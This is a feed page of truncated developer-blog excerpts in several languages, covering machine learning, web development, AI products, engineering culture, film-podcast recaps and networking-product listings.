Stock Price Prediction (Use 5 Model From Keras) เนื้อหาภายในเอกสารนี้ถูกเขียนขึ้นและจัดทำโดยนาย ธีระทัศน์ นครินทร์ รหัสนักศึกษา 6730614019 สาขา AISE ปี 2 เรามาเริ่มในหัวข้อแรกจะพูดถึงว่าเราทำไปทำไม ในหัวข้อต่อไปจะเป็นเกี่ยวกับ Flowchart การทำงาน และ Pseudo Code เริ่มแรกด้วย Pseudo Code เริ่มโปรแกรม เตรียมข้อมูล Train โดยเริ่มจาก โหลดไฟล์ train.csv และสั่งให้ เลือกเฉพาะข้อมูลราคาช่วงท้าย 700 แถวสุดท้าย เพราะต้องการตัดข้อมูลที่ไม่จำเป็นออกไปจะได้ทำให้ผลที่เรานำมาคำนวณนั่นมีความแม่นยำมากยิ่งขึ้น และดึงคอลัมน์ price มาเป็นข้อมูลหลักใช้ MinMaxScaler แปลงช่วงราคาให้อยู่ในช่วง [0, 1] สร้างชุดข้อมูลแบบลำดับเวลาซึ่งเราจะกำหนดเป็น 30 วันซึ่งจะได้เป็น i ตั้งแต่ 30 ถึง ความยาวข้อมูลที่สเกลแล้ว X[i] = ราคาย้อนหลัง 30 วัน (ตำแหน่ง i - 30 ถึง i-1) y[i] = ราคาที่ตำแหน่ง i (ราคาวันถัดไป) แปลง X เป…  ( 7 min )

A Guide for Developers Who Feel Like They Don’t Have Enough Experience A lot of people hold themselves back because they think they need a massive full-stack application to prove they can code. The truth is — a basic web demo can show more than enough skill if you build it intentionally and explain it the right way. This guide is about taking something small — literally three files — and turning it into something you can confidently put on a résumé, in a portfolio, or discuss in interviews without exaggerating your abilities. You don’t need a full SaaS app. You don’t need authentication systems and complex APIs. For most junior roles, a realistic demo looks like this: index.html That can be your entire codebase, hosted on GitHub Pages, and it can still prove you know what you’re doing —…  ( 8 min )

If you wish to go through this tutorial on YouTube please visit this link If you want your portfolio or product site to be remembered, a flat hero section is not always enough. A small 3D moment that feels alive can quickly turn a generic page into something people talk about. In the video, we build a fully interactive 3D Earth hero section with: Next.js (App Router) React and TypeScript Three.js Custom GLSL shaders for day, night, clouds, and atmosphere Lenis and GSAP ScrollTrigger for smooth scroll based animation This post walks through the main steps from the video, using the real code from the project. Repo: https://github.com/Robinzon100/3D_hero We start by making the home page a client component and giving it a dedicated canvas for the planet. "use client"; import { useEffect } from…  ( 13 min )

AI products are no longer optional. They are becoming table stakes. But behind the hype lies a harsher reality : most AI initiatives quietly fail long before they reach meaningful user adoption. Not due to a lack of intelligence, funding, or ambition. If you're building with LLMs or shaping an AI-driven roadmap, these seven truths can save you from expensive mistakes, fragile systems, and broken trust. 1. AI Does Not Behave Like Traditional Software Traditional software follows deterministic rules. Change the code, and you can predict the outcome. AI does not offer that comfort. It operates on probabilities, learned patterns, and contextual interpretation. A minor tweak — a rewritten prompt, an updated dataset, a different model version, a wider context window — can dramatically shift beha…  ( 8 min )

The dark web carries unique risks — phishing mirrors, fake marketplaces, tracking attempts, and unreliable links. Full article: https://torbbb.com/access-the-dark-web-safely/ This information is strictly for journalism, research, and cybersecurity analysis.  ( 6 min )

AI search engines like ChatGPT, Gemini, Claude, Perplexity, Copilot, and Grok have completely changed how people discover information. Instead of scrolling through Google’s 10 blue links, users now ask a question and receive a synthesized answer generated from multiple sources. This shift has created a new discipline: AI Rank Monitoring — tracking how visible, relevant, and recommended your business is inside AI-generated answers. If your business doesn’t appear in AI responses, you don’t exist in the new search landscape. In this article, we break down the 5 best AI rank monitoring softwares every business should consider in 2025: AI Rank Checker Profound ScrunchAI XFunnel HallAI Let’s dive in. 1. AI Rank Checker (Best Overall for Accuracy + Pay-As-You-Go Model) AI Rank Checker is curre…  ( 8 min )

Day 74 [November 20, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 73 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets Sets: .difference method shows us the elements of one set (e.g. setBIg) that are not found in the other(setCar): setBig.difference(setCar) [note the arrangement of the set, because reversing the arrangement of the set, is different from the other). Summary: References: Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.). Python for data science, AI & development [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )

Weird Science gets the Rewatchables treatment as Bill Simmons and Kyle Brandt revisit John Hughes’s 1985 cult classic, diving into Anthony Michael Hall’s geek squad, Kelly LeBrock’s AI goddess and Ilan Mitchell-Smith’s teen rebellion. Expect a nostalgic trip through all the film’s funniest, quirkiest moments. They chat sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—while unpacking why this movie still rules 35+ years later. Don’t miss the episode (brought to you by State Farm) and be sure to subscribe to The Ringer’s channels for more deep-dives. Watch on YouTube  ( 6 min )

The 25 Best Movies of the Century series continues with Quentin Tarantino’s Inglourious Basterds snagging the No. 4 spot. Hosts Sean Fennessey and Amanda Dobbins rave about its hallucinatory WWII take, explain why it edges out Once Upon a Time in Hollywood, and hail Christoph Waltz’s scene-stealing, career-defining performance. They also dig into the film’s lasting impact—from Tarantino’s razor-sharp dialogue to its bold alternate-history bravado—and why Basterds still ranks as one of the century’s ultimate movie-going experiences. Watch on YouTube  ( 6 min )

CinemaSins is back on the yellow brick road with a rapid-fire, 15-minute “Everything Wrong With The Wiz” roast, prompted by Wicked’s big-screen comeback. They’re nitpicking every corny line and song to see if this ’78 Oz spin-off still holds up—or if it’s more sin than sensation. Want more sins-plosions? Hit up their link tree for the latest, fill out their sinful poll, and consider supporting the team on Patreon. You can also follow them across Twitter, Instagram, Discord, Reddit, TikTok—and don’t miss their sister channels like TV Sins and Commercial Sins. Watch on YouTube  ( 6 min )

TL;DR Cinema Sins dives into KPop Demon Hunters, delivering a rapid-fire 16-minute roast that gleefully rips on every over-the-top moment while still celebrating the movie’s wild fun. Along the way, they drop links to their website, socials, Patreon, poll, Discord and Reddit so you can join the Sin Squad everywhere. The video features their core writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—bringing trademark snark and pop-culture jabs. If you love playful film takedowns, this one’s your next must-watch. Watch on YouTube  ( 6 min )

Disney’s recent woes continue: Marvel and Star Wars installments aren’t landing, and new releases like Wish and Elio have barely made a splash. But this isn’t uncharted territory—Disney’s had epic flops before, and in a new video series they’re diving into four of the biggest live-action disasters. First stop: 2010’s The Sorcerer’s Apprentice. Starring Nicolas Cage, some half-baked magic gags and a giant bird sidekick, it’s the perfect kickoff to a deep-dive on what made this once-forgotten flick such a spectacular misfire. Watch on YouTube  ( 6 min )

Originally published on SociaVault Blog You've built a scraper. It works perfectly for 10 minutes. Then crashes with a 429 error. Rate limit exceeded. Blocked for 15 minutes. You restart. Same thing. Your data pipeline is broken. Users are waiting. I've hit every rate limit imaginable. Instagram blocked me for a day. Twitter cut me off mid-scrape. TikTok throttled me to nothing. Now I handle millions of API requests daily without issues. Let me show you how. APIs protect their infrastructure with limits: Per second: 10 requests/sec Per minute: 100 requests/min Per hour: 5,000 requests/hr Per day: 50,000 requests/day Hit any limit → blocked temporarily. When rate limited, wait before retrying. But wait longer each time. async function requestWithBackoff(url, headers, maxRetries = 5) { l…  ( 8 min )

What are skills: Skills are folders of instructions and scripts that Claude loads to do specialized tasks. The point of skills is to make Claude follow guidelines and be more deterministic. More deterministic Easy to edit, share, and set up. Efficient context use.* This is one of the biggest issues with LLMs right now: they spout a lot of code, and they can and will come up with two different approaches and answers to the same prompt. With skills, we add guardrails, instructions, and scripts that tell the LLM exactly what to do. For example, the playwright-skill I downloaded has a helpers.js file which has a bunch of scripts like launchBrowser or safeClick, so Claude can use those functions and the result will always be the same. Since Skills are just .md files and scripts, they are real…  ( 11 min )

It's not your IP. It's your handshake.* You write a Python script to scrape a public Instagram profile. 403 Forbidden or Login Required. You buy expensive residential proxies. Why? The answer is TLS Fingerprinting. When your code connects to an HTTPS server (like instagram.com), it performs a "TLS Handshake". During this handshake, your client sends a ClientHello packet. This packet contains: Cipher suites supported TLS versions supported Elliptic curves supported Header order Here is the problem: Chrome's ClientHello looks like A. Python's requests ClientHello looks like B. Node's axios ClientHello looks like C. Instagram's firewall (WAF) looks at this packet. If it sees a request that claims to be "User-Agent: Chrome" but has the TLS fingerprint of "Python Requests", it blocks it instant…  ( 7 min )

Once the system sent messages through the queue, or other asynchronized service, as part of business logic, it's hard to trace who, when and where do they go to and, who, when and where did they come from. Now we have bitryon logger to connect puzzles together into workflow and stack-trace. Following how to automate log and trace without writing a log and trace, we can configure and initiate bitryon logger with spring to cover more traces with logs. Take Kafka as an example. Supposedly we had kafka server installed already. Here is a taste of the trace logs. 2025-11-20 15:42:24.785|http-nio-80-exec-1#38|7G5HPZyA3QWSF2f1SMRN5qV2U95tjOLi|4|JSON| MedicService.java#io.bitryon.example.web.service.MedicService#callSelfInvocation#68#| [{ "testString": "68ssTfeP43IeSVqFWx1jH1VigFuEdUbt" }] 2…  ( 8 min )

Not a Success Story. Just the Truth About Trying. I did grow up around computers but i never took any AP computer science classes nor did i attend any robotics club. I spent most of my adult life doing work that had nothing to do with terminals, VS Code, or GitHub. I was a medic in the 82nd Airborne. I walked roofs with nail guns. I worked security at night. I dealt with overdoses and addiction when I worked case management. I cleaned cat cages at a rescue shelter for years. None of that pointed toward writing software for a living. And for most of my life, I didn’t think tech was even an option for someone like me. When I finally opened a terminal for the first time, it didn’t feel intimidating — but it also didn’t feel normal. Basic commands felt like learning a new language. Learning …  ( 11 min )

UntitledSDG Peace & War Safety Awareness Website | By Michael & Gabriel michaelssekabanja14-maker ・ Nov 20 #codepen  ( 6 min )

JSON Web Tokens (JWTs) have become ubiquitous in modern web applications, but they're often misused. The most common mistake? Treating them as an authorization solution when they're an authentication mechanism. This misunderstanding leads to security vulnerabilities, poor user experience, and operational headaches. JWTs are immutable by design. Once signed and issued, the claims inside cannot be changed until expiration. This works for authentication because your identity doesn't change mid-session, but authorization is inherently dynamic. A user's subscription expires mid-day but they retain full access for another hour. An employee gets terminated but their JWT still grants system access until token expiration. A security breach requires immediate permission revocation, but you're stuck …  ( 10 min )

What is this? Text-based 1-on-1 refers to a 1-on-1 meeting that is completed solely through text communication. For instance, when Manager 🐶 and Engineer 🐱 conduct a 30-minute 1-on-1, they would do it as follows: (Before) Traditional Method Conversing during a meeting (After) Text-based 1-on-1 Prepare a collaborative note beforehand and write down questions you want to ask each other During the meeting, do not engage in conversation, but open the note and write answers or additional questions to each other Background Depending on the context, "information" is often important in 1-on-1s. Rather than focusing on the non-verbal information from face-to-face or conversational interactions, it's the quantity and quality of information that can be expressed in words th…  ( 10 min )

We have all been there. You inherit a codebase or a dataset that feels less like a structured engineering project and more like a crime scene. Variables are mutated randomly, configurations are hard-coded in obscure loops, and data integrity is a mere suggestion rather than a rule. As we push deeper into the era of Generative AI and Large Language Models (LLMs), the tolerance for this kind of chaos evaporates. Clean, compact, and efficient code isn't just an aesthetic preference anymore—it is a requirement for faster data processing and reliable model training. When building high-stakes applications—like an LLM-based research agent—the way you structure your data defines the ceiling of your system's performance. If you are still writing verbose loops to transform lists or using mutable str…  ( 11 min )

Today, we’re releasing Nano Banana Pro (Gemini 3 Pro Image), a higher-fidelity model built on Gemini 3 Pro for developers to access studio-quality image generation. This follows our release of Nano Banana (Gemini 2.5 Flash Image) just a few months ago. Since then, we’ve loved seeing the community put its key features to work — from character consistency to photo restoration, and even using its capabilities to make local edits in an infinite canvas. This state-of-the-art image generation and editing model is starting to roll out in paid preview to build a new wave of intelligent, multimodal applications with the Gemini API in Google AI Studio and Vertex AI for enterprises. This model unlocks high-fidelity images with higher accuracy in text rendering and robust world knowledge, supercharged…  ( 13 min )

Project Name: Cloud-Based Multi-Service Platform for Smart Event Management Lecture about this content: https://www.youtube.com/watch?v=C4tE1kZNrX4 1. Introduction The system is a cloud-native platform for managing large-scale events (conferences, concerts, workshops) with real-time analytics, ticketing, and personalized recommendations. It will integrate multiple services, each implemented in different languages, and leverage AI tools for development and intelligent features. 2. Overall Description Purpose: Provide event organizers and attendees with a seamless experience for scheduling, ticketing, and engagement. Scope: Web application for users (React + Node.js) Backend microservices (C#, Python, Go) AI-powered recommendation engine CI/CD pipelines for automated deployment Hoste…  ( 7 min )

A post by GnomeMan4201  ( 6 min )

GitHub - hmpl-language/projects: A list of community projects built with hmpl-js A list of community projects built with hmpl-js. Contribute to hmpl-language/projects development by creating an account on GitHub. github.com  ( 6 min )

TL;DR: DragonMemory is an open-source RAG system that compresses embedding sequences by 16x (128 tokens → 8 latent vectors) while maintaining high retrieval accuracy. Unlike traditional RAG systems that store full token embeddings, Dragon uses a trained neural compressor to reduce storage requirements and speed up similarity search. Key Results: 16:1 sequence compression (128 → 8 positions) 90.4% token-level cosine similarity after reconstruction >85% retrieval recall @ k=3 on internal benchmarks ~10ms inference per query on GPU Production-ready with Streamlit GUI, persistence, and multi-LLM support Repository: https://github.com/Freeky7819/DragonMemory Standard RAG systems face a fundamental trade-off: Option 1: Store sentence embeddings (384D) ✅ Small storage footprint ❌ Loss of token-le…  ( 12 min )

A post by GnomeMan4201  ( 6 min )

Agreement Requires Discovery You cannot deliver value without agreement on what constitutes value. You cannot have agreement without discovery of what you're actually building. And you cannot apply discovery to improve the agreement if you're afraid of "documentation" and refuse to step outside pointless timeboxes and absurd estimations based on nothing but assumptions. Without agreement on what constitutes value, you're not iterating toward anything. You're operating on hope, not discipline. Software development frequently operates on fictional agreements, creating misaligned teams. The problem isn't new to "Agile" methodologies. Waterfall documentation could be equally full of untested assumptions and vague requirements. But user stories have made the problem worse by treating minimal …  ( 16 min )

A student-led SDG project created by Year 9 students Michael Ssekabanja and Gabriel Brenden from Valleyspur International School. This website provides conflict and war safety tips, OpenStreetMap safe locations, emergency call tools, peace education videos, and a cinematic intro. Designed to support Sustainable Development Goals, especially SDG 16 — Peace, Justice & Strong Institutions. _**on](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgiir2yt62gr5g2cc6bp.png)  ( 6 min )

This isn't just another coding challenge. This is the real test Getir used to hire senior Android developers in Berlin. And now, it's yours to conquer. We've been running challenges on Liquidcode, and developers have been building some seriously creative stuff. Reimagine Offline The challenge was simple: create an offline screen. One developer built Offline Jellyfish - a full jellyfish animation to simulate no internet connection. Not just a boring "no connection" message. An actual experience. Reinvent Your First Program Everyone starts with printf("Hello, World!"), but you're not just anyone. Re-imagine the classic first line of code. One solution? Chaotic Hello World - where HELLO and WORLD break free from the terminal and take over the screen. Not your average console output. This is…  ( 8 min )

Timothy stared at his terminal in disbelief. "Margaret, I just learned about the dis module and tried it on the simplest function I could write. Look at this:" import dis def add_numbers(a, b): return a + b dis.dis(add_numbers) Output: 2 0 LOAD_FAST 0 (a) 2 LOAD_FAST 1 (b) 4 BINARY_ADD 6 RETURN_VALUE "My two-line function turned into four instructions! And what are LOAD_FAST and BINARY_ADD? This looks like assembly language. I thought Python was an interpreted language that just runs my code directly. What is all this?" Margaret leaned forward with that familiar knowing smile. "Welcome to Python's secret: bytecode. What you're seeing is what Python actually runs. Your source code is just the input -…  ( 29 min )

I remember when Terraform felt like the obvious answer to infrastructure as code. Cloud platforms were young, their native tooling was clunky, and managing infrastructure across multiple providers manually was painful. Terraform emerged to solve a real problem, and it solved it well. But platforms mature. They internalize the patterns that third-party tools pioneered, and when they do, the advantages shift. The conversation around cloud-native IaC isn't about Terraform failing; it's about recognizing that cloud platforms have reached a maturity point where their native solutions offer fundamental advantages that third-party tools can't match. This pattern repeats across the tech industry. Early platforms start with manual operations and no standardization. Third-party tools emerge to solve…  ( 9 min )

This is the most useless Python program created for entertainment purposes. I just had nothing better to do. Github: https://github.com/EmberNoGlow/Meme-lol-Pillow/ Just like that. Use it as you wish, it's a public domain  ( 6 min )

A student-led SDG project created by Year 9 students Michael Ssekabanja and Gabriel Brenden from Valleyspur International School. This website provides conflict and war safety tips, OpenStreetMap safe locations, emergency call tools, peace education videos, and a cinematic intro. Designed to support Sustainable Development Goals, especially SDG 16 — Peace, Justice & Strong Institutions.  ( 6 min )

I've been thinking about the management practices that all of us encounter: the ones that feel wrong but are hard to name. Personal development goals that feel invasive. "We're a family" rhetoric that breeds guilt. Criticism so vague it becomes impossible to address. Performance improvement plans that feel predetermined. "Unlimited PTO" that results in taking less vacation. These aren't random management mistakes. They share a common pattern: leadership externalizing its own failures onto employees while maintaining control through ambiguity and emotional manipulation. Recognizing this pattern helps you spot unhealthy organizations before they damage your career. If you're in leadership, it helps you avoid perpetuating these failures. Organizations often mandate "personal development goals…  ( 11 min )

Today we are pleased to finally present a great idea that has been around for a long time, but we never managed to implement it. Constant delays due to new versions and other things have been somewhat of a drag, but now we're opening a list of community projects you can create or connect to. There are many different lists on the internet with interesting projects in various programming fields, and we thought it would be a great idea to open one in our small community. We've noticed that, in essence, to develop the project, people can not only write about it and contribute code to the main repository, but also create and develop their own applications using the template language. Specifically for this purpose, we have also opened a section on the website where we also add information about such projects. I think you'll find this interesting! We value your opinion! Do you think a list like this would be of interest to developers, and why? It would be interesting to read. The list itself Section on the website  ( 7 min )

Bill Simmons and Kyle Brandt team up for a new Ringer Movies Rewatchables episode all about John Hughes’s 1985 cult classic Weird Science. They break down Anthony Michael Hall’s geeky charm, Kelly LeBrock’s iconic turn as the perfect girlfriend, and Ilan Mitchell-Smith’s straight-laced straight man, while riffing on the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, plenty of chains and whips. Backed by producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode balances deep-dive analysis with hilarious off-the-cuff banter. Plus, a quick nod to State Farm’s Personal Price Plan® keeps the show rolling—because even your podcast binge deserves a little insurance. Watch on YouTube  ( 6 min )

Inglourious Basterds snagged the No. 4 spot on Sean Fennessey and Amanda Dobbins’s countdown of the 25 best 21st-century films, edging out Once Upon a Time in Hollywood with its heady mix of tension, dark humor, and Tarantino’s signature bravado. They rave about Christoph Waltz’s career-launching, swagger-filled performance and the film’s electrifying set pieces that make it a jaw-dropping theater experience. The hosts dive into its legacy, unpacking why this bloody, revenge-fueled saga still resonates—highlighting unforgettable characters, Tarantino’s bold storytelling, and how Inglourious Basterds continues to influence modern cinema. Watch on YouTube  ( 6 min )

Ever wondered what’s really wrong with The Wiz now that Wicked has stormed back into theaters? CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” where they roast (and celebrate) the 1978 classic. As always, they cram the description with bonus links—hit up their main site for more video geekery, follow TVSins, CommercialSins, and the Cinemasins Podcast on YouTube, or dive into their Linktree for updates, a quick poll, and a friendly nudge to support via Patreon. Behind the sinful curtain are writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel (peep their Twitter and Insta handles if you want to nerd out). Don’t forget to join the community on Discord or Reddit, snag Jeremy’s book, and catch bite-sized sins on Instagram and TikTok. Watch on YouTube  ( 6 min )

Modern software systems are becoming more distributed, more complex, and more dependent on reliability than ever before. But reliability isn’t something you bolt on at the end, it’s something you test deliberately. That’s exactly where chaos engineering comes in: by intentionally injecting controlled failures, teams can understand how their systems behave under stress and make them more resilient. LitmusChaos has been one of the most widely adopted open-source frameworks for cloud-native chaos engineering. But even with its intuitive UI (ChaosCenter), CRDs, and CLI, we know that YAMLs and APIs can still feel intimidating, especially for teams just starting out. So, how do we make chaos engineering easier, faster, and more accessible? This is where the LitmusChaos MCP Server comes in. MCP (…  ( 8 min )

I've been thinking about TDD's place in modern development, and I keep running into the same tension. The practical reality often contradicts the theoretical promise. Teams write tests for features they don't yet understand, design interfaces around incomplete requirements, and spend hours writing tests before discovering the domain model was wrong. Then they rewrite everything. The tests that guided development get thrown away. This feels wasteful. Many experienced developers achieve similar results through focused discovery followed by disciplined testing, delivering quality code without strict TDD adherence. The debates get heated: advocates measure test coverage and celebrate red-green-refactor while skeptics count rewritten tests as waste. But I think we're framing TDD wrong in a way …  ( 7 min )

Implementing Databricks can unlock massive value from your data infrastructure. But poor setup leads to cost overruns and performance issues. The difference between success and failure? Following proven practices from day one. After implementing Databricks for high-volume data operations, I've learned what actually works. Here are the best practices that will save you time, money, and frustration according to expert opinion from TopSource Global. 1. Design Your Lakehouse Architecture First Don’t start creating notebooks and clusters randomly. Plan your data architecture. Define your bronze, silver, and gold layers. Bronze holds raw data. Silver contains cleaned and validated data. Gold stores business-ready aggregated data. This medallion architecture prevents chaos as your data grows. 2. …  ( 8 min )

I know, I know: another post about AI code generation. The hype cycle feels exhausting. But after months of using Claude, Gemini, and Cursor daily, I've noticed something that keeps nagging at me. The skills AI promises to eliminate are precisely the skills you need to use it effectively. AI code generation is powerful, but only when you maintain agency. The assistant can generate hundreds of lines of code in seconds, but you need to validate every line, understand the trade-offs, and recognize when it's confidently wrong. That requires domain knowledge, experience with the technology, and the judgment to make decisions: exactly what we hoped AI would let us skip. Here are the ironies I've encountered: Prompts are not magic. I was initially overly optimistic about how much AI already knows…  ( 8 min )

I know conversations about Agile can feel exhausted at this point. Every team seems to have their own story about why it worked or why it failed. What I've come to see is that Agile works when teams follow a simple pattern: align with needs, agree to plans, and apply what was agreed. When that pattern breaks down, Agile becomes self-serving bureaucracy masquerading as a process. The failure points are predictable. Agile requires integrity more than experience. A senior developer who treats estimates as commitments carved in stone will damage team dynamics more than a junior who admits uncertainty. The difference isn't skill; it's honesty about what you know and what you don't. Organizations often hire for experience and hope integrity follows. It doesn't work that way. Without clear cultur…  ( 8 min )

This is hard :( /* Styling */ #wrapper { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; border: none; z-index: 9999; display: flex; justify-content: center; align-items: center; background: linear-gradient(45deg, #f0f0f0, #c0c0c0); font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } button { all: unset; cursor: pointer; …  ( 6 min )

Hey Dev Community! I’m excited to share a little prototype I’ve been tinkering with: a Procedural VOXEL Terrain Generator for Godot 4. If you’re dreaming of creating blocky worlds (think Minecraft-style landscapes), this tool might just be the quick start you need. This generator produces procedural voxel terrain using Godot 4’s MeshInstance3D and 3D noise algorithms. It’s designed to be: Simple: Minimal setup, easy to understand and modify. Lightweight: No heavy dependencies - just a single script and basic Godot nodes. Flexible: Tweak parameters to shape your world however you like. 📜 License and Compatibility This tool is developed for Godot 4.4. It is in the public domain, so feel free to use, adapt, or build upon it for your games or experiments. → Source code on GitHub: https://github.com/EmberNoGlow/Godot-Procedural-VOXEL-Terrain Asset Library: https://godotengine.org/asset-library/asset/4443 I would love to hear your feedback, suggestions, and bug reports. If you like the project, please consider starring it on GitHub! ⭐ Thanks for reading! I hope this generator helps you in crafting your game worlds.  ( 6 min )

I know, I know. It is another post about microservices versus monoliths. The debate feels exhausted at this point. Yet every time I start a new project, I find myself weighing the same questions. Not because the answer is unclear, but because the answer genuinely depends on where you are and what you're trying to learn. There's no universal prescription here. What I've learned is that the choice isn't about finding the "right" architecture in the abstract. It's about choosing what fits your context, your constraints, and most importantly, what you need to discover. 1. Microservices Are Optimizations, Monoliths Enable Discovery Microservices are optimizations for specific problems: team scaling, independent deployment, technology diversity. They're solutions to constraints you've already id…  ( 7 min )

I've worked with engineers who had senior titles but didn't lead anyone. I've also worked with junior engineers who mentored half the team. The difference wasn't in their resume or their technical depth; it was in how they approached their work, their growth, and their responsibility to others. Leadership and mentorship in software development aren't granted by org charts. They emerge from patterns of behavior that compound over time. Here are the questions that reveal those characteristics. There's a difference between ten years of experience and one year of experience repeated ten times. Repeating experience means doing the same work year after year, measuring tenure rather than growth. You master a domain, then stay there. The work feels comfortable because you've solved these problems …  ( 8 min )

Overview About Rack Wall Cabinet 6U Height: 6U დაკავშირებული პროდუქტები: 7U კედლის საკომუნიკაციო კარადა 535x400მ Learn more: Rack Wall Cabinet 6U Originally published at innocom.ge  ( 8 min )

"The journey of a thousand instructions begins with a single bit" By Harshavardhan | Department of Electronics & Communication Engineering Six months ago, I stood at the threshold of a world I barely understood—a realm where software meets hardware, where abstract code transforms into tangible motion, light, and sound. The course was Processors and Controllers, and little did I know, it would fundamentally change how I perceive technology. This isn't just a technical blog. This is the story of late nights debugging circuits, the euphoria of seeing an LED blink for the first time, and the profound satisfaction of making a stepper motor dance to my code. Welcome to my journey. Chapter 1: The 8086 Foundation Chapter 2: Enter the 8051 Chapter 3: The Interfacing Chronicles Chapter 4: Hardware R…  ( 14 min )

Most engineering teams think most of their blockers are technical. The brutal truth? The brutal truth? Most engineering teams are hemorrhaging productivity, and they blame a leaky abstraction. We, as engineers, are hardwired to think our blockers are technical: Legacy Monoliths. Slow CI Pipelines. That one service Aris wrote. But I'm here to tell you that in a shocking number of cases, the "technical problem" is just a cheeky little distraction. The real issue is far squishier, far more uncomfortable, and it starts with a capital T for Trust. Low trust doesn't look like a relationship problem; it looks like a system failure. Let's break down how your lack of faith in your teammates is secretly making your code worse and your life miserable. Imagine a team of developers who genuinely like a…  ( 9 min )

کلاهبرداری‌های رمزارزی امروز در سال‌های اخیر، ایران شاهد جهش قابل توجهی در کلاهبرداری‌های مرتبط با رمزارز بوده است؛ مسأله‌ای که از یک سو ناشی از فشارهای اقتصادی و از سوی دیگر نتیجه افزایش علاقه عمومی به دارایی‌های دیجیتال است. بسیاری از افراد، در جست‌وجوی فرصت‌های مالی، به پلتفرم‌های آنلاین معامله و سرمایه‌گذاری روی می‌آورند — اما همه‌ی این پلتفرم‌ها آن چیزی نیستند که نشان می‌دهند. کلاهبرداران دنیای رمزارز را به زمین بازی ایده‌آل خود تبدیل کرده‌اند: فضایی تا حد زیادی بدون نظارت، پیچیده و سخت برای راستی‌آزمایی. از دوره‌های جعلی آموزش ترید گرفته تا طرح‌های «سریع پولدار شو»، این افراد از اعتماد کاربران سوءاستفاده کرده و با وعده‌ی سود، سرمایه‌ی آنها را آرام و بی‌صدا تخلیه می‌کنند. موج جدید این کلاهبرداری‌ها شامل صرافی‌های جعلی‌ای است که توسط اینفلوئنسرها تبلیغ می‌شوند؛ پلتفرم‌هایی که ظاهری ک…  ( 10 min )

Alguns meses atrás me deparei com a necessidade de refazer um projeto front-end do zero. Isso me levou a uma busca por padrões de projetos aplicados ao front-end - algo que, particularmente, não é tão fácil de encontrar quanto no back-end. Depois de algum tempo estudando sobre monolitos, micro front-ends e monolitos modulares, cheguei a algumas reflexões que rascunho abaixo. Uma das primeiras questões que veio à mente foi: qual dos modelos adotar? Para isso, considerei os pontos abaixo. Micro front-end Pros Contras Monolito Pros Contras Monolito Modular O monolito modular traz um ponto de equilíbrio entre os dois extremos. Ele mantém um único projeto e um único deploy, mas organiza o código em módulos bem separados, com responsabilidades claras, limites explícitos e baixo acoplamento. Dessa forma, múltiplas pessoas podem trabalhar em paralelo — desde que estejam em módulos distintos — sem o mesmo nível de conflito de um monolito comum. Além disso, caso algum módulo precise virar um serviço independente no futuro, o esforço de extração tende a ser muito menor do que em um monolito tradicional. Mas existe um ponto crucial para que esses módulos façam sentido: DDD. E esse é um tema que vale um artigo próprio.  ( 7 min )

Overview About UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m დაკავშირებული პროდუქტები: UTP Cat6 Patch cord,7*0.18 24AWG (CU) 3m Learn more: UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m Originally published at innocom.ge  ( 8 min )

Conceitos como esses inevitavelmente aparecem na vida de quem desenvolve software. No começo, tudo parece confuso — e é normal. Você não precisa entender tudo de uma vez, quase ninguém entende. Mas maturar esses temas ao longo do tempo, sem fugir deles por medo da complexidade, é essencial. Você já se perguntou por que alguns aplicativos travam enquanto carregam algo, enquanto outros continuam funcionando normalmente? Ou por que certos servidores conseguem atender milhares de usuários ao mesmo tempo, enquanto outros ficam lentos com apenas dezenas? A resposta está na forma como o código lida com operações demoradas — e é isso que vamos entender agora. Neste artigo, quero esclarecer esses conceitos de forma direta e prática, para que sua jornada seja mais tranquila desde o início. Antes de …  ( 11 min )

Overview About Cat5e UTP ქისთონ ჯეკი Cat5e UTP keystone jack Learn more: Cat5e UTP ქისთონ ჯეკი Originally published at innocom.ge  ( 8 min )

Overview About CAT6A UTP Keystone Jack Toolless 180° CAT6A UTP Keystone Jack Toolless 180° Learn more: CAT6A UTP Keystone Jack Toolless 180° Originally published at innocom.ge  ( 8 min )

Time tracking in Jira can be a blessing or a bottleneck, depending on the tool you plug in. Whether your team needs deeper reporting, lightweight timers, or advanced billing workflows, the right solution can turn Jira time tracking from a chore into a productivity booster. Here are five tools worth checking out in 2026. Best for: Teams that want clean UI + reliable Jira time tracking + strong reporting TMetric offers a frictionless way for Jira time tracking while keeping everything synced across projects. Developers can use browser extensions, desktop apps, or mobile to track work on tasks, and the data flows right into Jira automatically. It’s especially good for teams that need a combination of time tracking, billing, and project analytics. Key features: One-click timer for Jira issues …  ( 7 min )

Overview About CAT6 UTP RJ45 კონექტორი, 2 ცალი CAT6 UTP RJ45 Connector,2-Piece Learn more: CAT6 UTP RJ45 კონექტორი, 2 ცალი Originally published at innocom.ge  ( 8 min )

Overview About ფრანგული სტილის ერ ბუდიანი როზეტი FRENCH STYLE SINGLE GANG FACEPLATE Learn more: ფრანგული სტილის ერ ბუდიანი როზეტი Originally published at innocom.ge  ( 8 min )

